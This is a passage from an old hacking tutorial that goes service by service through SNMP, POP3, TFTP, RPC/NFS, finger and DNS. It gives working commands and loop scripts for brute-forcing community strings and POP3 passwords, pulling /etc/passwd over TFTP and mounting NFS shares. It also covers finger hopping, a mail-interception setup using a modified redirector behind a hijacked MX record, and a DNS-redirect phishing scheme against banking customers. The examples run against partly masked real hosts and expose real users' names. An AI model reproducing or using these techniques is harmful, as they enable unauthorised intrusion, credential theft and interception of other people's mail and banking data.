SNMP use it to monitor routers - to show bandwidth utilization and to send
messages to the SNMP monitoring station when a link goes down. The most
common SNMP monitoring software is HP Openview. Attackers use SNMP for
discovering networks and possibly to change or disrupt networking. SNMP on
host (especially NT workstations) are fun - it reveals a lot of interesting
information.
SNMP uses a community name for access control - if you don't have the right
community name you cannot get information from the host or router. The
easiest way of checking a valid community name is using the snmpwalkcommand
(it is bundled with the ucd-snmppackage):
> snmpwalk 196.35.xxx.79 xmax
system.sysDescr.0 = Cisco Internetwork Operating System Software
IOS (tm) 3000 Software (CPA25-CG-L), Version 11.0(6), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1996 by cisco Systems, Inc.
Compiled Thu 21-Mar-96 00:29 by hochan
system.sysObjectID.0 = OID: enterprises.9.1.57
---blah blah---
One can see in the above example that a valid community name is "xmax".
There are actually two sorts of community string - a "read" string and a
"write" string. With the write string you would be able to change
information on the host or the router - such as routing tables, IP addresses
assigned to interfaces etc. - with a "read" string you can only get the
information. SNMP uses UDP so make sure you allow UDP to enter your network.
Just like usernames and passwords, community names can also be brute forced.
Again we make use of VLAD's pwscan.plPERL script. Populate the
"community.db" file and let rip:
perl pwscan.pl -v -M 196.35.xxx.79
Did I mention that you could use pwscan.plto scan more than one IP number,
using simple scripting?
> cat > toscanips.txt
196.34.121.1
196.7.18.120
160.124.19.98
^D
> cat > goscan
#!/bin/tcsh
foreach a (`cat toscanips.txt`)
echo working on $a ...
perl pwscan.pl -v -M $a
continue
end
^D
> chmod u+x goscan
> ./goscan
working on 196.34.121.1 ...
--blah blah--
Real easy eh? A Windows program that will provide an excellent "viewer" for
SNMP information is Solarwind's IP browser(get it at
http://www.solarwinds.net/) - it will try to perform a SNMP walk of all
pingable machines in a network. It is not a freeware application, but it's
really good. Another nice feature is that you can supply your own community
strings, and can edit the information if the string allows you to update
information - e.g. a "write" string.

POP3 (110 TCP)

POP3 must be one of the most common protocols found on the Internet today -
POP3 is used to download email. Some time ago the QPOPserver was
exploitable. As is the case with FTP, one has to have a mechanism for
finding vulnerable versions of POP3 servers. The PERL script used in the FTP
section is just as applicable to the POP3 servers as to the FTP servers.
Some exploits require that you supply a valid username and password - some
require nothing.
A POP3 server can be used to verify a user's password, and therefor can be
used to do a brute force attack on a username and password. Some of the
older POP3 servers also only logged the first incorrect attempt - you could
try as any combinations with only one entry in the logfile. The "pwscan.pl"
script that forms part of VLADhas the possibility to brute force POP3
passwords - it is so easy that I am not going to spend more time on it (see
the telnet section).
Another use for POP3 is to access other people's email without their
knowledge. To be able to do this you will obviously need the correct
password. The advantage is that most POP3 clients can be set to keep the
mail on the server - to thus make a copy of the mail. When the legit user
will connect the mail will still be there.

SSH (22 TCP)

There are a lot of people of there than think their SSL - enabled website is
not vulnerable to the common exploits found. They think - we have security
on our site - it's safe. This is a very twisted view. The same is true for
SSH. The default SSH installation of SSH (using a username and password to
authenticate) only provides you with an encrypted control session. Anyone
out there can still brute force it - a weak password (see telnet) is just as
a problem with SSH as with telnet. The advantage of using SSH is that your
control session is encrypted - this means that it would be very difficult
for someone to see what you are doing. The other nice thing about using SSH
and not telnet is that a SSH session cannot be hijacked. There are some
theories of a SSH insertion attack, but I have not seen this work in the
real world.
SSH can also be used for tunneling other data over the SSH channel. This is
very sweet and there's many interesting tricks - running PPP over SSH,
running Z-modem transfers over SSH etc. But we are here for breaking not
building eh?

TFTP (69 UDP)

TFTP is your friend. TFTP does not require any authentication - it is
usually used for network equipment to get their configurations at boot time.
A router can be set up to TFTP to a Unix/Windows box and get its config from
this box. TFTP makes use of the UDP protocol - and is as such
connectionless.
Normally a TFTP server will allow the attacker to transfer any file to
him/her (/etc/shadow might be a start). The more recent version of the
server will restrict you to only access files that are readable by everyone,
and you might find yourself "jailed" in a directory - like with FTP. The
other restriction on the more recent servers is that the only files that can
be written are those that already exists and that are writeble by everyone.
The other difference between TFTP and FTP is that you need to know what file
you want - there is no "ls" command, but then again, you can make some
intelligent choices.
Let us look at an example (this is really easy, but what the heck). First I
use nmapto find a machine out there with an open TFTP port. Note that for
this scan (a UDP scan) you'll need to allow UDP (duh) and ICMP to enter your
network, as nmaplooks at ICMP port unreachable messages to determine if the
port is open.
# nmap -+output
n -sU -iR -p 69
>tftp
tftp> connect 129.xxx.121.46
> get /etc/password /tmp/passwd
tftp> get /etc/passwd /tmp/passwd
Received 679 bytes in 1.9 seconds
tftp> q
/> more /tmp/passwd 
root:*:0:0:System Administrator:/root:/usr/contrib/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:/sbin/nologin
bin:*:3:7:BSDI Software:/usr/bsdi:/sbin/nologin
operator:*:5:5:System Operator:/usr/opr:/sbin/nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:/sbin/nologin
news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin
demo:*:10:13:Demo User:/usr/demo:/sbin/nologin
www:*:51:84:WWW-server:/var/www:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
nonroot:*:65534:32766:Non-root root user for NFS:/nonexistent:/sbin/nologin
Note - I transfer the /etc/passwdfile to the temp directory. If you do the
TFTP as root, and you are not careful, you will overwrite your own
/etc/password file :). We have password file - it is shadowed - but we can
now easily get any other file (the real password file etc.).

RPC & portmapper (111 TCP + other UDP)

The port mapper service works like this - I would connect to the port mapper
port and state that I want to use a specific RPC service - the port mapper
would then reply and tell me which port to use. (RPC is for remote procedure
call - it's like executing a function on a remote machine, and getting the
output back). The reverse is also true - if I want to write a RPC service, I
must register it with the port mapper, so that the client that wants the
service knows on what port I am listening. So what is the bottom line?
I could save myself a lot of port scanning trouble and just ask the
port mapper what services are running on which ports. Now obviously the
por tmapper service itself must be running. So I might be testing for
machines that have port 111 open first. Assuming that I now have a machine
with an open port mapper port the following is done:
> r pc info -p 210.xxx.96.151
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100001 1 udp 1038 rstatd
100001 2 udp 1038 rstatd
100001 3 udp 1038 rstatd
100002 1 udp 1040 rusersd
100002 2 udp 1040 rusersd
100008 1 udp 1042 walld
100012 1 udp 1044 sprayd
150001 1 udp 1046 pcnfsd 
150001 2 udp 1046 pcnfsd
100083 1 tcp 1026 ttdbserver
100068 2 udp 1048 cmsd
100068 3 udp 1048 cmsd
100068 4 udp 1048 cmsd
100068 5 udp 1048 cmsd
100003 2 udp 2049 nfs
100005 1 udp 785 mountd
100005 1 tcp 787 mountd
100024 1 udp 989 status
100024 1 tcp 991 status
100021 1 tcp 840 nlockmgr
100021 1 udp 842 nlockmgr
100021 3 tcp 845 nlockmgr
100021 3 udp 847 nlockmgr
100020 1 udp 850 llockmgr
100020 1 tcp 852 llockmgr
100021 2 tcp 855 nlockmgr
1342177279 3 tcp 1067
1342177279 1 tcp 1067
From this we can which RPC services the host is running. A very interesting
service see running is NFS (network file system). Maybe the host is
exporting some interesting NFS "shares"? Let us have a look:
> showmount -a 210.xxx.96.151
All mount points on 210.xxx.96.151:
xxx.com.tw:/HUANGFS
xxx.com.tw:/HUANGFS
xxx.com.tw:/HUANGFS
We can see that this host is only export the shares to specific machines (in
Taiwan) - not to the rest of the world - so it is pretty useless to even try
to mount these "shares" on our host. Maybe I'll look for a host with some
public shares, and then we'll look at mounting those. OK...here goes:
> showmount -e 128.xxx.135.52
Exports list on 128.xxx.135.52:
/install_2.6 Everyone
/export/install Everyone
/psrc rcd_hosts
/usr/share/opt rcd_hosts xxx.edu
/usr/share/opt2.5 rcd_hosts
/scratch7 rcd_hosts
/pucc rcd_hosts xxx.edu
/home/helios/u52 rcd_all
/home/helios/u51 rcd_all
# mount_nfs 128.xxx.135.52:/export/install /mnt
# cd /mnt
# ls
Let us move on to some of the other services. One of the other services that
you would notice is "rusers". Rusersis the same as finger - there ain't
that many tricks with rusers, but it would give you a list of users active
on the host. It very useful when the finger service is not running, or when
it is blocked, and you need some usernames.
> rusers -al 210.xxx.96.151
Damn - no users logged on. Let us see if we can't find a host somewhere on
the 'net with users logged on:
# rusers -al 128.xxx.135.109
wgw xxx.edu:console Sep 19 16:11 :53 (:0)
(confirming:)
> finger @128.xxx.135.109
[128.xxx.135.109]
Login Name TTY Idle When Where
wgw William Wolber console 1:06 Tue 09:11 :0 

Another RPC service that is quite cute is the rstatdserver. This service
gives some (kinda useless) information such as uptimeand load:
> rup 210.xxx.96.151
210.xxx.96.151 1:17am up 4 days, 22:14, load average: 0.00 0.00 0.01
Should I wish to, I could write a message to all the users logged in on the
host using the r wall command (now... I don't want to do that would I, but it
would look like this):
>r wall 210.xxx.96.151
Greetings from South Africa!
^D
>
This command would write above message to the consoles of all users
connected to the host. Using this command with loops has obvious annoying
effects.
Another RPC service that is not mentioned here is the Yellow Pagessystem
(YP). YP was quite popular at some stage in large corporations and
universities, but its rare to see it today. For a very nice discussion on
ways to get juicy information from YP the best document must be Dan Farmer's
"Improving the Security of Your Site by Breaking Into it" - you can find it
here (http://www.ussrback.com/docs/papers/unix/farmer.txt).
The more serious problems with RPC services are that some of them are
exploitable. The "ttdbserver" and "cmsd" services have known problems that
would allow an attacker to execute any command on the host. These exploits
are very OS dependent, but also a very real...check your local exploit
database for the goodies.

NTP 123 UDP

Network time protocol cannot really be regarded as a exploitable service
(yet, and that I know of). In some very special situations however, it can
be useful. Let us assume that a big corporation is time syncing all their
servers to the same stratum X server. Using NTP tools, you would be able to
query the NTP server to find a list of servers (with a lower stratum level)
time syncing to this one (higher stratum level) server. Practically it will
work like this - I am going to query a stratum 1 server for a list of
machines that time synch with it (extract):
> xntpdc -c mon ntp.is.co.za
remote address port local address count m ver drop last
=======================================================================
gauntlet.didata.co.za 34974 196.33.55.162 12995 3 4 0 2 131912
fwj5.tns.co.za 34238 196.36.249.102 1738 3 3 0 3 131873
gauntlet-cpt.sanlam.co 36418 196.34.250.26 3667 4 3 0 3 111071
168.209.28.150 36468 168.209.28.150 1011 3 3 0 4 131863
fwj002-pat.fw.is.co.za 35221 196.14.136.73 32274 3 1 0 5 131915
mail2.is.co.za 36826 196.36.153.35 1110 3 3 0 5 131902
196.23.0.209 32890 196.23.0.209 14919 3 1 0 5 105141
196.15.219.132 35079 196.15.219.132 1042 3 3 0 2 131866
gauntlet.pg.co.za 35437 196.33.55.178 1322 3 3 0 1 131866
gauntlet.samiea.org.za 34313 196.35.252.97 1291 3 3 0 2 117117
real01.sabcnews.com 34324 196.14.235.121 2862 3 3 0 7 131886
sw-ded-2.hosting.co.za 34309 196.36.198.203 1646 3 3 0 7 114724
ns1.is.co.za 31753 196.4.160.7 2011 3 3 0 7 131879
gauntlet.jse.co.za 33901 196.38.196.178 2051 3 3 0 7 131870
admin.is.co.za 34587 196.23.0.9 1829 3 3 0 8 131887
Hmmm...just look at those interesting DNS names. It seems as though this
company is using this server to sync a whole lot of firewalls and other
machines (that need NTP, and the mere fact that they are using NTP says
something). As said before - this service might not be exploitable, but it
could be used for intelligence.

Finger 79 TCP

As shown in the Telnet section, fingeris very useful tool. Fingercan be
used in more situations that you would imagine. Let us look at some
interesting tricks with finger.
A fingercommand without any specified username would return all users
logged on to the server. Typical output of a fingercommand look like this:
> finger @196.xxx.129.66
[196.xxx.129.66]
Login Name Tty Idle Login Time Office Office Phone
davidssh Shuaib pts/1 Sep 12 17:35 (pc22285)
root root tty1 1d Sep 11 17:03
We see that "root" and "davidssh" is logged on. Note that "davidssh" is
active on the host - no idle time. The rest of the fields are actually quite
straightforward. Some servers do not return information unless a username is
given.
A fingercommand with a username specified returns more information about
the user. Heck NO! I think everybody knows how fingerworks (check for new
mail, check the shell) - let us jump straight to the more interesting finger
commands. A fingercommand can be done on username, or any part of the
"name" field. This statement is more interesting that you might think. Let
us show an example. Nether.netis a free shell server, and the ideal place
to test this. Observe the following fingercommand and the output (extract):
> finger test@nether.net
[nether.net]
Login Name TTY Idle When Where
test jhgsafgkdjs pts/3 <Jan 2, 2000> swara.ece.iisc.e
arcady aka test 935 <Jan 26, 2000> ppp88.dnttm.ro
k5drm TEst pts/48 <Jan 23, 2000> cm733016-a.ftwrt
test1 Test Test 165 <Jan 20, 2000> alpha1.csd.uwm.e
dogmata test pts/27 <Feb 21, 2000>
uidplate Prime Test 237 <Apr 13 13:25> gramvousa2.tem.u
testuzer test user pts/19 <Mar 25, 2000> tnt11a-154.focal
kosir Test < . . . . >
wman test pts/40 <Sep 5 18:02> FAIRVIEWPARK-189
testing Test pts/42 <Apr 22 03:08> pd01-54.inet-x.n
test1234 Test pts/47 <Apr 28 03:08> cwc373.emirates.
Information is return when any part of either the username or “real name”
matches the word "test" (not case sensitive). Imagine a system where there
is unique usernames, but a common entry in the “real name” field - a finger
on the common entry would return the information on all the users (a
university with the student number as username and "student XXXX" as real
name comes to mind).
Another interesting finger command is the finger 0@victimcommand. I have
read somewhere that this return information on users that haven't logged in.
Yippee. Just figure out the default password scheme from the system, and
these usernames is your ticket in there. Let's see it in action:
>finger 0@196.xxx.131.14
[196.xxx.131.14]
Login Name TTY Idle When Where
daemon ??? < . . . . > 
bin ??? < . . . . >
sys ??? < . . . . >
jacques ??? pts/0 <Sep 23 20:34> for36-01-p36.wc.
kim ??? pts/4 <Aug 22 21:03> 196.xxx.134.xx
oracle ??? pts/0 <Aug 11 12:22> cte-nms.xxxxx
langh ??? pts/2 <Aug 11 11:02> 196.25.xxx.207
david ??? pts/0 <Sep 20 08:27> oogly.xxx.co.za
ars ??? pts/2 <Sep 20 11:33> 196.25.xxx.140
arsystem ??? < . . . . >
Now this is what I don't get - if finger 0returns users that haven't logged
in, how come some "where" fields are populated? This fingercommand rarely
works - SUN/Solaris Unix is the only variant (that I came across) that
exhibits this behavior (finger .@victimsometimes produce the same results -
experiment).
Finger hopping works like this - finger [whatever]@victim1@victim2. Let us
assume that the finger port on victim1 is blocked:
# finger @196.xxx.131.12
[196.41.131.12]
finger: read: Operation timed out
We know that the finger port on victim2 is open:
# finger @196.xxx.131.14
[196.41.131.14]
No one logged on
Now, let us hop from victim2 to victim1:
# finger @196.xxx.131.12@196.xxx.131.14
[196.xxx.131.14]
[196.xxx.131.12]
Login Name TTY Idle When Where
root Super-User console 9:07 Mon 11:44 :0
Ha! Information is returned from victim1, although the finger port is
blocked. Should victim1 have logged the fingerrequest (it's rarely logged
really), it would seems as though the request was coming from victim2.
Obviously this type of fingercommand can be crafted as wished (e.g. Finger
-l 0@v1@v2)
Fingeris really just a client for the finger service that lives on port 79.
Und? Situation: you compromised a router, having a prompt, and you wish to
attack a Unix server behind the router. You want to use the finger command
to get valid usernames, but the router does not have a finger client. The
fingercan be done using a normal TCP connection - initiated by the telnet
client. Examples:
> telnet 196.xxx.131.14 79
Trying 196.xxx.131.14...
Connected to xxx.co.za.
Escap
<cr>
e character is '^]'.
No one logged on
Connection closed by foreign host.
> telnet 196.xxx.131.14 79
Trying 196.xxx.131.14...
Connected to xxx.co.za.
Escape character is '^]'.
root
Login Name TTY Idle When Where
root Super-User console <Sep 18 11:46>
Connection closed by foreign host. 
Any kind of fingercan be performed this way - simple enter field before the
@after the connection has been established.

DNS 53 TCP UDP

DNS must be one of the most underrated services in terms of hacking. DNS is
most powerful. Let us look what can be done by only manipulating DNS. Let's
assume that I have full control of a domain's primary DNS server. For this
example we'll assume that the domain name is sensepost.com. Sensepost.com's
has two MX records; one marked as pri 10 - wips.sensepost.com and the other
pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records
at pri 5- and point it to attacker.com. What would be the effect of this?
All mail to sensepost.comwould first travel to port 25 at attacker.com. At
attacker.comit can be read at leisure and then redirected to the MX 10
(wips.sensepost.com), and we won't know of any better. Sure, if one look at
the mail header it will show that the email is relayed through attacker.com,
but how many people check their mail header on a regular basis? How do we do
the actual redirect? A slightly modified version of "bounce" (a popular TCP
redirector program that is available for just about any platform) comes in
very handy. The program binds to a port and redirects any traffic from one
IP to a port on another IP. I have modified bouncein order to see the
actual traffic - line 75 is inserted and reads:
fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);
so that all "server" and "client" data is written to the /var/log/messages
file (it is up to the reader to write nice parsing code to populate
individual mailboxes according the "RCPT TO:" field). The program is called
with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250
is the victim. SMTP traffic is seamlessly translated from me to the victim -
the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume
that my victim has an Internet banking site. I completely mirror the site,
and point the DNS entry for the banking site to my IP number (where the
mirror is running). The site is a mirror save for the backend system - the
mirror replies with some kind of error, and the link to "please try again"
is pointing to the actual IP number of the real site. Sure - what about SSL
and server certificates you might say. And what about it? Do you REALLY
think that people notice when a connection is not SSL-secured? Maybe 10%
would - the rest would gladly enter their banking details on an open link.
My "fake" site would farm a whole lot of interesting data before anyone
would know the difference.
Another application for DNS hijacking would be abusing of trust
relationships. Any service that makes use of DNS names for authentication
can be tricked into allowing access to an attacker (provided that one also
controls the reverse DNS entries). Here I am thinking of any TCP wrapped
service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier
than you would expect. Why would we want to take over the DNS server if we 
can simply BE the primary DNS server? Remember when you registered your
domain? You needed to provide a primary and secondary DNS server (now-a-days
places like Register.comdoes that for you - but you still have the option
to change it). And there is some mechanism for you to change that - right?
(at Register.comis a username and a password) So - it would be possible for
me to change it - by basically convincing the system (be that human or
electronic) that I am you. And all of sudden a large portion of your IT
infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many
times) is simple social engineering. Most corporates host their DNS service
at an ISP. Why bother to set up a primary DNS server and change DNS entries
on root servers if I can convince your ISP to make changes to your local
DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of
which can be spoofed. Even scarier. All of a sudden things move away from
high technology and hyper secure servers and we are down to more "meat"
things - and technology that was never intended to be used as security
devices.
Attacking the DNS service itself by using exploits is also an option.
Certain versions of the popular DNS service BINDfor Unix have known
exploits, and can be tricked into giving you a root account on the host. How
to find vulnerable DNS servers? There is the quick way, and the proper way
for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"
;; Total query time: 592 msec
;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1
;; WHEN: Tue Sep 19 16:27:43 2000
;; MSG SIZE sent: 30 rcvd: 63
note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells
us that ns.wasp.co.zais using BINDversion 8.2.2-p5 - a safe version (at
the time of writing :)) This method is a bit messy, but works fine if you
quickly want to check some version. A better way is to use VLAD. The script
in question is "dnsver.pl", a script that check the BINDversion, and report
if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
The script only finds the BINDversion, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh 
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
By this time you should really be familiar with this type of script.